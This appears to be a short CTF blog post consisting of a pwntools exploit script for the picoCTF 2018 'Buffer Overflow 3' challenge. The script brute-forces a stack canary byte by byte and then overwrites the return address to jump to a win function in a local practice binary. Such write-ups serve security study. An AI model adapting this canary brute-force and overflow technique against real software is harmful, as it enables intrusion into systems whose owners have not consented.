System/Pwnable Practice

Pico CTF 2018 Buffer Overflow 3

JeonYoungSin 2019. 7. 27. 22:16

exploit.py


from pwn import *


canary = ""


for j in range(0,4):

    for i in range(0,256):

        p = process("./vuln")

        payload ="A"*0x20+canary+chr(i)

        print p.recvuntil("> ")

        p.sendline(str(len(payload)))

        print p.recvuntil("> ")

        p.send(payload)


        try:

            print p.recvuntil("Stack")

        except:

            canary += chr(i)

            break

        p.close()


print "Found Canary = " + canary


p = process("./vuln")

print p.recvuntil("> ")


win = 0x080486EB

payload = "A"*0x20

payload += canary

payload += "A"*(0xC+4)

payload += p32(win)


p.sendline(str(len(payload)))


print p.recvuntil("> ")

p.send(payload)

print p.recv(2048)